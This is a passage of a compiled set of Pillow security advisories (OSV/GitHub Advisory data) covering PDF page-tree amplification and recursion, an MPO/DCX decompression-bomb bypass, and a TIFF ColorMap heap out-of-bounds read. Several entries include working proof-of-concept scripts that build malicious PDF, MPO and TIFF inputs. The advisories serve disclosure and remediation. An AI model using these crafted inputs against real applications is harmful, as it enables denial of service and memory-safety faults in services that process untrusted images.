time.monotonic() - start output = io.BytesIO(payload) start = time.monotonic() Image.new("L", (1, 1), 0).save(output, format="PDF", append=True) append_seconds = time.monotonic() - start return { "fanout": fanout, "depth": depth, "input_bytes": len(payload), "expected_refs": expected_refs, "observed_refs": observed_refs, "distinct_refs": distinct_refs, "parse_seconds": round(parse_seconds, 6), "append_seconds": round(append_seconds, 6), "output_bytes_after_append": len(output.getvalue()), } def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit("depth must be between 0 and 16") linear = run_case(depth, fanout=1) shared_dag = run_case(depth, fanout=2) checks = { "linear_control_stays_one_page": linear["observed_refs"] == 1, "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"] == shared_dag["expected_refs"], "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1, "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048, "append_path_processed_both_inputs": linear["output_bytes_after_append"] > linear["input_bytes"] and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"], } result = { "pillow_version": PIL.__version__, "pillow_file": PIL.__file__, "depth": depth, "linear_control": linear, "shared_dag_candidate": shared_dag, "checks": checks, "overall_passed": all(checks.values()), } print(json.dumps(result, indent=2, sort_keys=True)) return 0 if result["overall_passed"] else 1 if __name__ == "__main__": raise SystemExit(main()) ``` Run: ```bash python3 poc_pillow_pdf_page_tree_dag.py ``` Expected result: ```text "overall_passed": true "linear_control": observed_refs == 1 "shared_dag_candidate": input_bytes == 1410 "shared_dag_candidate": observed_refs == 8192 "shared_dag_candidate": distinct_refs == 1 ``` Observed on current `main` / `13.0.0.dev0`: ```text 1410-byte input -> 8192 observed page refs -> 9.563007s append ``` Observed on Pillow `12.3.0`: ```text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append ``` For comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs. ##### Impact This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format="PDF", append=True)` route. The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`. Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open(). This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion. ##### Remediation Reject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`. One possible fix is to pass traversal state through `linearize_page_tree()`: - Track active `/Pages` references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references. Suggested regression tests: - A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format="PDF", append=True)`. - A normal nested linear page tree should continue to append successfully. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2](https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96640](https://nvd.nist.gov/vuln/detail/CVE-2026-96640) - [https://github.com/python-pillow/Pillow/pull/10093](https://github.com/python-pillow/Pillow/pull/10093) - [https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7](https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mrfp-p49p-3hf2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) BIT-pillow-2026-112895 / [CVE-2026-112895](https://nvd.nist.gov/vuln/detail/CVE-2026-112895) / [GHSA-p4wg-p73j-c528](https://github.com/advisories/GHSA-p4wg-p73j-c528) <details> <summary>More information</summary> #### Details ##### Summary When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ##### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ##### PoC ```python from PIL import PdfParser ##### A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf) PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ##### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528](https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112895](https://nvd.nist.gov/vuln/detail/CVE-2026-112895) - [https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf](https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek) BIT-pillow-2026-96636 / [CVE-2026-96636](https://nvd.nist.gov/vuln/detail/CVE-2026-96636) / [GHSA-p8hx-v2p6-rp84](https://github.com/advisories/GHSA-p8hx-v2p6-rp84) / PYSEC-2026-4337 <details> <summary>More information</summary> #### Details ##### Summary Pillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM). Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP). ##### Details `Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking: - **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`. - **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check. Confirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek. ##### PoC Self-contained; the victim uses **default** `MAX_IMAGE_PIXELS`: ```python import io from PIL import Image ##### attacker builds the file (guard disabled only to CREATE the oversized frame) Image.MAX_IMAGE_PIXELS = None small = Image.new("RGB", (8, 8)) big = Image.new("RGB", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold buf = io.BytesIO() small.save(buf, format="MPO", save_all=True, append_images=[big]) data = buf.getvalue() # ~3 MB Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default ##### victim (default limits) im = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check im.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug im.load() # decodes the over-limit image, commits memory print("loaded over-limit frame:", im.size) ``` Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px): | Vector | File size | Frame 1 | Peak RSS | |---|---|---|---| | MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB | | DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB | | Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) | The DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process. ##### Impact Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed. ##### Suggested fix Re-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF: ```python ##### PIL/MpoImagePlugin.py — end of MpoImageFile.seek() self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])] Image._decompression_bomb_check(self.size) # add self.__frame = frame ##### PIL/DcxImagePlugin.py — end of DcxImageFile.seek() PcxImageFile._open(self) Image._decompression_bomb_check(self.size) # add ``` #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84](https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96636](https://nvd.nist.gov/vuln/detail/CVE-2026-96636) - [https://github.com/python-pillow/Pillow/pull/10011](https://github.com/python-pillow/Pillow/pull/10011) - [https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48](https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p8hx-v2p6-rp84) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read BIT-pillow-2026-112896 / [CVE-2026-112896](https://nvd.nist.gov/vuln/detail/CVE-2026-112896) / [GHSA-pchr-8j38-3x4p](https://github.com/advisories/GHSA-pchr-8j38-3x4p) / PYSEC-2026-4334 <details> <summary>More information</summary> #### Details ##### Summary A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading. Pillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`. The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required. ##### Impact and prerequisites An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed. The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output. ##### Tested environment and limits of the evidence The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**: - Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl` - Wheel size: `4785266` bytes - Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6` - Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1` Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented. Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed. Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range. ##### Observed evidence and controls The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format="TIFF")`, without replacing the image's metadata. Each case was recorded three times: | Original fixture | Bytes | Recorded result | | --- | ---: | --- | | `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). | | `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). | | `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). | Address-free summary of the recorded native diagnostic: ```text AddressSanitizer: heap-buffer-overflow READ of size 131072 0 bytes after 1536-byte region Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField -> PyImaging_LibTiffEncoderNew Allocation: calloc -> PyImaging_LibTiffEncoderNew ``` Input SHA-256 values (also enforced inside the script): - `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d` - `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c` - `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556` ##### Root cause and source references - [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`. - [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–1991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap. - [libtiff `tif_dir.c`, lines 441–448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L << td->td_bitspersample` and copies that many SHORTs from each pointer. The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer. ##### Prior art and disclosure scope [Pillow PR #&#8203;5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal `"CustomField"`. That is a **different field-name-lifetime fix**, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and **novelty is not asserted**. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it. ##### Reproduction instructions Use an **already reviewed, existing** installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. `--package-path` is the absolute directory containing `PIL`, not the `PIL` directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation. Save the complete Python block below as `reproduce.py` and run: ```sh python3.11 -I -S -B reproduce.py \ --package-path /absolute/path/to/reviewed/site-packages \ --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib ``` Both arguments are required. The runtime must be loaded at child startup, not by late `dlopen`. Each child resolves `__asan_init`, `__asan_address_is_poisoned`, and `__asan_region_is_poisoned` in its actual process symbol table **before importing Pillow or opening a fixture**. Merely setting `DYLD_INSERT_LIBRARIES` is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation. Each of the three cases runs once in a separate child with a **30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit**. The parent supplies a clean allowlisted environment, isolated Python startup (`-I -S -B`), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted. The compressed/base64 constants below are the **unchanged original benign TIFF fixtures**, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block. **Separate August 31, 2026 inline validation:** the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed. ##### Expected results from the standalone script Cases run in order: `colormap8`, `colormap_absent`, `colormap16`. Every printed line should have `guard_passed: true`, `within_limits: true`, and `expected_observation: true`. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 **and** the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF. The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is **inconclusive**, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF. ##### Complete standalone reproducer ```python import argparse import base64 import ctypes import hashlib import io import json import os from pathlib import Path import platform import resource import selectors import struct import subprocess import sys import tempfile import time import zlib FIXTURES = {'colormap8': [1684, 'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='], 'colormap_absent': [137, 'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556', 'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'], 'colormap16': [1685, '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']} PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629', 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d', 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01', 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5', 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d', 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273', 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596', 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d', 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1', 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57', 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'} CASES = tuple(FIXTURES) WALL_SECONDS = 30 FILE_LIMIT = 1024 * 1024 PIPE_LIMIT = 128 * 1024 def limits(): resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_CPU, (10, 10)) resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT)) def fixture(case): size, expected_hash, encoded = FIXTURES[case] decoder = zlib.decompressobj() data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1) if (len(data) != size or not decoder.eof or decoder.unused_data or decoder.unconsumed_tail or hashlib.sha256(data).hexdigest() != expected_hash): raise ValueError("fixture integrity check failed") return data def field(data, wanted): if len(data) < 8 or data[:4] not in (b"II*\0", b"MM\0*"): raise ValueError("not classic TIFF") endian = "<" if data[:2] == b"II" else ">" directory = struct.unpack_from(endian + "I", data, 4)[0] count = struct.unpack_from(endian + "H", data, directory)[0] if directory + 2 + count * 12 + 4 > len(data): raise ValueError("truncated directory") for number in range(count): offset = directory + 2 + number * 12 tag, kind, length = struct.unpack_from(endian + "HHI", data, offset) if tag != wanted: continue size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length start = offset + 8 if size <= 4 else struct.unpack_from(endian + "I", data, offset + 8)[0] if start + size > len(data): raise ValueError("truncated field") return kind, length, data[start:start + size], endian return None def checked_image_module(package): if (sys.implementation.name != "cpython" or sys.version_info[:2] != (3, 11) or sys.platform != "darwin" or platform.machine() != "arm64"): raise RuntimeError("requires macOS ARM64 CPython 3.11") for relative, expected in PACKAGE_PINS.items(): path = (package / relative).resolve(strict=True) if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected: raise RuntimeError("reviewed wheel file mismatch") process_symbols = ctypes.CDLL(None) for symbol in ("__asan_init", "__asan_address_is_poisoned", "__asan_region_is_poisoned"): getattr(process_symbols, symbol) sys.path.insert(0, str(package)) from PIL import Image, features if (Image.__version__ != "12.3.0" or features.version("libtiff") != "4.7.1" or Path(Image.__file__).resolve() != package / "PIL/Image.py" or Path(Image.core.__file__).resolve() != package / "PIL/_imaging.cpython-311-darwin.so"): raise RuntimeError("unexpected Pillow or libtiff") return Image def emit(descriptor, message): os.write(descriptor, (json.dumps(message, sort_keys=True) + "\n").encode("ascii")) def child(case, package): descriptor = os.dup(1) with open(os.devnull, "wb") as quiet: os.dup2(quiet.fileno(), 1) try: image_module = checked_image_module(package) data = fixture(case) with image_module.open(io.BytesIO(data)) as image: image.load() if image.size != (1, 1) or image.info.get("compression") != "packbits": raise ValueError("unexpected input geometry") bits = 8 if case == "colormap8" else 16 if image.tag_v2[258] != (bits,): raise ValueError("unexpected sample width") if case == "colormap_absent": if 320 in image.tag_v2: raise ValueError("unexpected ColorMap") elif image.tag_v2[320] != (0,) * 768: raise ValueError("unexpected ColorMap planes") emit(descriptor, {"ready": True}) with io.BytesIO() as output: image.save(output, format="TIFF") if case == "colormap16": emit(descriptor, {"unsafe_save_returned": True}) return 1 encoded = output.getvalue() saved_bits = field(encoded, 258) map_field = field(encoded, 320) bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1) and struct.unpack(saved_bits[3] + "H", saved_bits[2])[0] == bits) map_preserved = (map_field is None if case == "colormap_absent" else map_field is not None and map_field[:2] == (3, 768) and map_field[2] == bytes(1536)) emit(descriptor, {"control_passed": bool(bits_preserved and map_preserved)}) return 0 except Exception: emit(descriptor, {"child_failed": True}) return 2 finally: os.close(descriptor) def run_case(case, package, runtime): with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary: environment = { "PATH": "/usr/bin:/bin:/usr/sbin:/sbin", "HOME": temporary, "TMPDIR": temporary, "LC_ALL": "C", "DYLD_INSERT_LIBRARIES": str(runtime), "ASAN_OPTIONS": "detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:" "disable_coredump=1:symbolize=1:malloc_fill_byte=165:" "max_malloc_fill_size=1048576:log_path=stderr", } command = [sys.executable, "-I", "-S", "-B", str(Path(__file__).resolve()), "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case] output = bytearray() diagnostics = bytearray() deadline = time.monotonic() + WALL_SECONDS with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=limits, start_new_session=True) as process: bounded = True try: with selectors.DefaultSelector() as selector: selector.register(process.stdout, selectors.EVENT_READ, output) selector.register(process.stderr, selectors.EVENT_READ, diagnostics) while selector.get_map(): remaining = deadline - time.monotonic() if remaining <= 0: raise TimeoutError for key, events in selector.select(min(remaining, 0.25)): chunk = os.read(key.fileobj.fileno(), 8192) if not chunk: selector.unregister(key.fileobj) else: key.data.extend(chunk) if len(output) + len(diagnostics) > PIPE_LIMIT: raise BufferError process.wait(timeout=max(0.001, deadline - time.monotonic())) except (TimeoutError, BufferError, subprocess.TimeoutExpired): bounded = False try: os.killpg(process.pid, 9) except ProcessLookupError: pass process.wait() status = process.returncode try: messages = [json.loads(line) for line in output.splitlines()] except (ValueError, UnicodeError): messages = [] ready = bool(messages and messages[0] == {"ready": True}) if case == "colormap16": observed = bool(bounded and ready and status == 86 and len(messages) == 1 and b"AddressSanitizer: heap-buffer-overflow" in diagnostics and b"READ of size 131072" in diagnostics and b"0 bytes after 1536-byte region" in diagnostics and b"PyImaging_LibTiffEncoderNew" in diagnostics and b"_TIFFmemcpy" in diagnostics) else: observed = bool(bounded and ready and status == 0 and messages == [{"ready": True}, {"control_passed": True}] and b"AddressSanitizer:" not in diagnostics) output.clear() diagnostics.clear() return {"case": case, "expected_observation": observed, "guard_passed": ready, "within_limits": bounded} def main(): parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.') parser.add_argument("--package-path", required=True, type=Path, help="reviewed existing installation root containing PIL") parser.add_argument("--asan-runtime", required=True, type=Path, help="reviewed existing compatible ASAN dylib; never loaded late") parser.add_argument("--child", choices=CASES, help=argparse.SUPPRESS) arguments = parser.parse_args() if arguments.child: limits() return child(arguments.child, arguments.package_path.resolve()) try: package = arguments.package_path.resolve(strict=True) runtime = arguments.asan_runtime.resolve(strict=True) if not package.is_dir() or not runtime.is_file(): raise ValueError("invalid existing paths") for case in CASES: fixture(case) results = [run_case(case, package, runtime) for case in CASES] except Exception: print(json.dumps({"setup_failed": True})) return 2 for result in results: print(json.dumps(result, sort_keys=True)) return 0 if all(result["expected_observation"] for result in results) else 1 if __name__ == "__main__": raise SystemExit(main()) ``` #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: 